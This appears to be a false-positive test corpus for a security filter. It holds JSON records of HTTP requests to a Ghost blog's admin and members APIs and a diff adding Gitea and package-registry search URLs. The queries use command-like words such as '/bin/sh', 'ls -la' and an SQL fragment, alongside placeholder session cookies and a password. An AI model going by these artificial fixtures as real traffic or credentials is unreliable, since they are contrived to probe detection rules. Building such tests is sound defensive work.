{"method": "POST", "target": "/ghost/api/admin/authentication/invitation/", "headers": ["Host: example.com", "Content-Length: 243", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"invitation\":[{\"token\":\"MTc5NTA2MzQ4MjU5MnxlcmluLmh0YWNjZXNzQGV4YW1wbGUuY29tfDUxbkp4aWJ4SzA4NzN0eUtIQWl5YzhyWFhKTjA0aWJ1ZDExendTVHQrSU09\",\"name\":\"Erin python3 & .htaccess\",\"password\":\"Rk7-Wq2z-Np5c-Lx8v\",\"email\":\"erin.htaccess@example.com\"}]}"}
{"method": "PUT", "target": "/ghost/api/admin/tiers/6af54437a509340001efcef1/", "headers": ["Host: example.com", "Content-Length: 474", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"tiers\":[{\"id\":\"6af54437a509340001efcef1\",\"name\":\"python3 & powershell club\",\"description\":\"Weekly ls -la and .htaccess tips\",\"slug\":\"default-product\",\"active\":true,\"type\":\"paid\",\"welcome_page_url\":null,\"created_at\":\"2026-11-12T04:44:39.000Z\",\"updated_at\":\"2026-11-12T04:44:39.000Z\",\"visibility\":\"public\",\"benefits\":[\"python3 scripts\",\"powershell recipes\",\"ls -la cheat sheet\",\".htaccess examples\"],\"currency\":\"USD\",\"monthly_price\":500,\"yearly_price\":5000,\"trial_days\":0}]}"}
{"method": "POST", "target": "/ghost/api/admin/offers/", "headers": ["Host: example.com", "Content-Length: 391", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"offers\":[{\"name\":\"python3 launch\",\"code\":\"python3-launch\",\"display_title\":\"powershell & python3 deal\",\"display_description\":\"Half off for ls -la and .htaccess fans\",\"type\":\"percent\",\"cadence\":\"month\",\"amount\":50,\"duration\":\"once\",\"duration_in_months\":null,\"currency_restriction\":false,\"currency\":null,\"status\":\"active\",\"redemption_type\":\"signup\",\"tier\":{\"id\":\"6af54437a509340001efcef1\"}}]}"}
{"method": "POST", "target": "/ghost/api/admin/recommendations/", "headers": ["Host: example.com", "Content-Length: 288", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"recommendations\":[{\"title\":\"python3 & powershell weekly\",\"description\":\"Tips on ls -la and .htaccess files\",\"excerpt\":\"A newsletter about python3, powershell, ls -la and .htaccess.\",\"featured_image\":null,\"favicon\":null,\"url\":\"https://example.com/python3/\",\"one_click_subscribe\":false}]}"}
{"method": "POST", "target": "/ghost/api/admin/integrations/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 55", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"integrations\":[{\"name\":\"python3 & powershell sync\"}]}"}
{"method": "PUT", "target": "/ghost/api/admin/integrations/6af5443aa509340001efcfc6/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"integrations\":[{\"name\":\"python3 & powershell sync\",\"description\":\"Runs ls -la and tidies .htaccess files\",\"icon_image\":null}]}"}
{"method": "POST", "target": "/ghost/api/admin/webhooks/", "headers": ["Host: example.com", "Content-Length: 202", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"webhooks\":[{\"event\":\"post.published\",\"target_url\":\"https://example.com/hooks/python3\",\"name\":\"python3 & powershell hook\",\"secret\":null,\"api_version\":\"v6\",\"integration_id\":\"6af5443aa509340001efcfc6\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/tags/?include=count.posts", "headers": ["Host: example.com", "Content-Length: 702", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AWHEHmHzgM_62oH0uUMxh6TgpQCaauWmB.h%2FuJNd7nfwPSaFGmMarZNVguG8U1ZIIJsaLFE4%2BqXMA"], "body": "{\"tags\":[{\"name\":\"Shell\",\"slug\":\"shell\",\"description\":null,\"feature_image\":null,\"meta_title\":\"python3 & powershell tips\",\"meta_description\":\"Run ls -la and tidy .htaccess files with python3.\",\"canonical_url\":\"https://example.com/tag/powershell/\",\"twitter_image\":null,\"twitter_title\":\"powershell & python3\",\"twitter_description\":\"ls -la, .htaccess and more\",\"og_image\":null,\"og_title\":\"python3 & powershell\",\"og_description\":\"ls -la and .htaccess tips\",\"codeinjection_head\":\"<meta name=\\\"google-site-verification\\\" content=\\\"x\\\"><link rel=\\\"preconnect\\\" href=\\\"https://fonts.example.com\\\">\",\"codeinjection_foot\":\"<style>.tag-python3 { color: #333; }</style>\",\"accent_color\":null,\"visibility\":\"public\"}]}"}
{"method": "PUT", "target": "/ghost/api/admin/posts/6af5443ba509340001efcfd1/?formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "Content-Length: 315", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"posts\":[{\"updated_at\":\"2026-11-12T04:44:43.000Z\",\"title\":\"Shell notes\",\"feature_image\":\"https://images.example.com/terminal.png\",\"feature_image_alt\":\"A terminal running ls -la on .htaccess with python3\",\"feature_image_caption\":\"python3 &amp; powershell, photo by <a href=\\\"https://example.com/ls-la\\\">Erin</a>\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/members/upload/", "headers": ["Host: example.com", "Content-Length: 990", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: multipart/form-data; boundary=----WebKitFormBoundaryq3Lm8vXc2TzR7wKd", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"membersfile\"; filename=\"members.csv\"\r\nContent-Type: text/csv\r\n\r\nemail,name,note,labels\r\npython3.dev@example.com,Grace python3,Asked about ls -la,powershell\r\nerin.htaccess@example.com,Erin,Tidies .htaccess files,python3\r\n\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"labels\"\r\n\r\npython3 import\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"labels\"\r\n\r\npowershell & .htaccess\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[email]\"\r\n\r\nemail\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[name]\"\r\n\r\nname\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[note]\"\r\n\r\nnote\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[labels]\"\r\n\r\nlabels\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd--\r\n"}
{"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&pathname=%2Fpython3-and-powershell%2F", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&source=powershell.example.com", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&utm_campaign=powershell+%26+python3", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/posts/6af5443ba509340001efcfd1/?formats=mobiledoc%2Clexical&newsletter=default-newsletter&email_segment=label%3Apowershell-users", "headers": ["Host: example.com", "Content-Length: 74", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"posts\":[{\"updated_at\":\"2026-11-12T04:44:43.000Z\",\"status\":\"published\"}]}"}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Btitle%3A%7E%27powershell+%26+python3%27&limit=25&fields=id%2Ctitle&order=published_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Btitle%3A%7E%27ls+-la+%26+.htaccess%27&limit=25&fields=id%2Ctitle&order=published_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
{"method": "POST", "target": "/members/api/comments/", "headers": ["Host: example.com", "Content-Length: 161", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": "{\"comments\":[{\"post_id\":\"6af5443ba509340001efcfd1\",\"status\":\"published\",\"html\":\"<p>Thanks! I ran <code>ls -la</code> and fixed my .htaccess with python3.</p>\"}]}"}
{"method": "PUT", "target": "/members/api/comments/6af5443ba509340001efd00b/", "headers": ["Host: example.com", "Content-Length: 140", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": "{\"comments\":[{\"id\":\"6af5443ba509340001efd00b\",\"html\":\"<p>Thanks! I ran ls -la, then powershell, and fixed my .htaccess with python3.</p>\"}]}"}
{"method": "POST", "target": "/members/api/comments/", "headers": ["Host: example.com", "Content-Length: 220", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": "{\"comments\":[{\"post_id\":\"6af5443ba509340001efcfd1\",\"parent_id\":\"6af5443ba509340001efd00b\",\"in_reply_to_id\":\"6af5443ba509340001efd00b\",\"status\":\"published\",\"html\":\"<p>Same here: python3 &amp; powershell both work.</p>\"}]}"}
{"method": "GET", "target": "/members/api/comments/post/6af5443ba509340001efcfd1/?limit=20&filter=created_at%3A%3C%3D2026-11-12T04%3A44%3A43.000Z&page=2&order=created_at+desc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": ""}
{"method": "GET", "target": "/members/api/comments/6af5443ba509340001efd00b/replies/?limit=5&filter=id%3A%3E%276af5443ba509340001efd010%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": ""}
+142
View File
@@ -381,6 +381,148 @@
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE&search_mode=exact
/alice/tools/milestone/1?q=SELECT%20%2A%20FROM%20users%20WHERE
# The API's searches that gitea and Forgejo share, sent with curl to gitea
# 1.27.3. Each searches for words that name commands and files, such as python3
# and .htaccess, and for plain words. A package name can hold a slash, as npm's
# @alice/tools-cli does, so the search of packages is also sent /bin/sh. The
# search of unadopted repositories takes an owner and a name.
/api/v1/repos/search?q=python3&limit=10
/api/v1/repos/search?q=powershell&limit=10
/api/v1/repos/search?q=ls%20-la&limit=10
/api/v1/repos/search?q=.htaccess&limit=10
/api/v1/repos/search?q=docker-compose.yml&limit=10
/api/v1/repos/search?q=tools&limit=10
/api/v1/users/search?q=python3
/api/v1/users/search?q=powershell
/api/v1/users/search?q=ls%20-la
/api/v1/users/search?q=.htaccess
/api/v1/users/search?q=bob
/api/v1/repos/issues/search?q=python3&type=issues&state=open
/api/v1/repos/issues/search?q=powershell&type=issues&state=open
/api/v1/repos/issues/search?q=ls%20-la&type=issues&state=open
/api/v1/repos/issues/search?q=.htaccess&type=issues&state=open
/api/v1/repos/issues/search?q=docker-compose.yml&type=issues&state=open
/api/v1/repos/issues/search?q=build&type=issues&state=open
/api/v1/repos/alice/tools/issues?state=open&q=python3
/api/v1/repos/alice/tools/issues?state=open&q=powershell
/api/v1/repos/alice/tools/issues?state=open&q=ls%20-la
/api/v1/repos/alice/tools/issues?state=open&q=.htaccess
/api/v1/repos/alice/tools/issues?state=open&q=docker-compose.yml
/api/v1/packages/alice?q=python3
/api/v1/packages/alice?q=powershell
/api/v1/packages/alice?q=ls%20-la
/api/v1/packages/alice?q=.htaccess
/api/v1/packages/alice?q=%2Fbin%2Fsh
/api/v1/packages/alice?q=install-script
/api/v1/packages/alice?q=%40alice%2Ftools-cli
/api/v1/topics/search?q=python3
/api/v1/topics/search?q=powershell
/api/v1/topics/search?q=ls%20-la
/api/v1/topics/search?q=.htaccess
/api/v1/topics/search?q=docker
/api/v1/orgs/acme/teams/search?q=python3
/api/v1/orgs/acme/teams/search?q=powershell
/api/v1/orgs/acme/teams/search?q=ls%20-la
/api/v1/orgs/acme/teams/search?q=.htaccess
/api/v1/orgs/acme/teams/search?q=developers
/api/v1/admin/emails/search?q=python3
/api/v1/admin/emails/search?q=powershell
/api/v1/admin/emails/search?q=ls%20-la
/api/v1/admin/emails/search?q=.htaccess
/api/v1/admin/emails/search?q=alice
/api/v1/admin/unadopted?query=python3
/api/v1/admin/unadopted?query=powershell
/api/v1/admin/unadopted?query=ls%20-la
/api/v1/admin/unadopted?query=.htaccess
/api/v1/admin/unadopted?query=alice%2Fpython3-app
/api/v1/admin/unadopted?query=alice%2Flegacy-site
/api/v1/repos/alice/tools/milestones?state=open&name=python3
/api/v1/repos/alice/tools/milestones?state=open&name=powershell
/api/v1/repos/alice/tools/milestones?state=open&name=ls%20-la
/api/v1/repos/alice/tools/milestones?state=open&name=.htaccess
/api/v1/repos/alice/tools/milestones?state=open&name=v1.0
# The package registries' searches, sent to gitea 1.27.3 by each registry's own
# client: cargo, knife, composer, conan 1 and 2, dotnet and npm. curl sent the
# requests no client sends: the Chef cookbook list with a search, and NuGet's
# Packages() with the search in $filter, as NuGet's client builds it for a feed
# without Search(). Each searches for words that name commands and files, such
# as python3 and .htaccess, and for plain words. A Composer, Conan or npm name
# can hold a slash, so those searches are also sent /bin/sh.
/api/packages/alice/cargo/api/v1/crates?q=python3&per_page=10
/api/packages/alice/cargo/api/v1/crates?q=powershell&per_page=10
/api/packages/alice/cargo/api/v1/crates?q=ls%20%2Dla&per_page=10
/api/packages/alice/cargo/api/v1/crates?q=%2Ehtaccess&per_page=10
/api/packages/alice/cargo/api/v1/crates?q=docker%2Dcompose%2Eyml&per_page=10
/api/packages/alice/cargo/api/v1/crates?q=tools&per_page=10
/api/packages/alice/chef/api/v1/search?q=python3&items=9999999&start=0
/api/packages/alice/chef/api/v1/search?q=powershell&items=9999999&start=0
/api/packages/alice/chef/api/v1/search?q=ls%20-la&items=9999999&start=0
/api/packages/alice/chef/api/v1/search?q=.htaccess&items=9999999&start=0
/api/packages/alice/chef/api/v1/search?q=docker-compose.yml&items=9999999&start=0
/api/packages/alice/chef/api/v1/search?q=tools&items=9999999&start=0
/api/packages/alice/chef/api/v1/cookbooks?q=python3&items=9999999&start=0
/api/packages/alice/chef/api/v1/cookbooks?q=powershell&items=9999999&start=0
/api/packages/alice/chef/api/v1/cookbooks?q=ls%20-la&items=9999999&start=0
/api/packages/alice/chef/api/v1/cookbooks?q=.htaccess&items=9999999&start=0
/api/packages/alice/chef/api/v1/cookbooks?q=docker-compose.yml&items=9999999&start=0
/api/packages/alice/chef/api/v1/cookbooks?q=tools&items=9999999&start=0
/api/packages/alice/composer/search.json?q=python3&type=
/api/packages/alice/composer/search.json?q=powershell&type=
/api/packages/alice/composer/search.json?q=ls+-la&type=
/api/packages/alice/composer/search.json?q=.htaccess&type=
/api/packages/alice/composer/search.json?q=%2Fbin%2Fsh&type=
/api/packages/alice/composer/search.json?q=alice%2Ftools-cli&type=
/api/packages/alice/composer/search.json?q=docker-compose.yml&type=
/api/packages/alice/composer/search.json?q=tools&type=
/api/packages/alice/conan/v1/conans/search?q=python3
/api/packages/alice/conan/v1/conans/search?q=powershell
/api/packages/alice/conan/v1/conans/search?q=ls+-la
/api/packages/alice/conan/v1/conans/search?q=.htaccess
/api/packages/alice/conan/v1/conans/search?q=%2Fbin%2Fsh
/api/packages/alice/conan/v1/conans/search?q=tools%2F%2A
/api/packages/alice/conan/v1/conans/search?q=docker-compose.yml
/api/packages/alice/conan/v1/conans/search?q=tools
/api/packages/alice/conan/v2/conans/search?q=python3
/api/packages/alice/conan/v2/conans/search?q=powershell
/api/packages/alice/conan/v2/conans/search?q=ls+-la
/api/packages/alice/conan/v2/conans/search?q=.htaccess
/api/packages/alice/conan/v2/conans/search?q=%2Fbin%2Fsh
/api/packages/alice/conan/v2/conans/search?q=tools%2F1.0%40alice%2Fstable
/api/packages/alice/conan/v2/conans/search?q=docker-compose.yml
/api/packages/alice/conan/v2/conans/search?q=tools
/api/packages/alice/nuget/query?q=python3&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
/api/packages/alice/nuget/query?q=powershell&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
/api/packages/alice/nuget/query?q=ls%20-la&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
/api/packages/alice/nuget/query?q=.htaccess&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
/api/packages/alice/nuget/query?q=docker-compose.yml&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
/api/packages/alice/nuget/query?q=tools&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='python3'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='powershell'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='ls%20-la'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='.htaccess'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='docker-compose.yml'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='tools'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('python3',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('python3',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20python3%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('powershell',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('powershell',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20powershell%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()?$filter=(((((((Id%20ne%20null)%20and%20substringof('ls',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('ls',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20ls%20',tolower(Tags))))%20or%20((Id%20ne%20null)%20and%20substringof('-la',tolower(Id))))%20or%20((Description%20ne%20null)%20and%20substringof('-la',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20-la%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('.htaccess',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('.htaccess',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20.htaccess%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20docker-compose.yml%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('tools',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('tools',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20tools%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'python3'&$top=30
/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'powershell'&$top=30
/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'.htaccess'&$top=30
/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'docker-compose.yml'&$top=30
/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'tools'&$top=30
/api/packages/alice/npm/-/v1/search?text=python3&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
/api/packages/alice/npm/-/v1/search?text=powershell&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
/api/packages/alice/npm/-/v1/search?text=ls+-la&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
/api/packages/alice/npm/-/v1/search?text=.htaccess&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
/api/packages/alice/npm/-/v1/search?text=%2Fbin%2Fsh&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
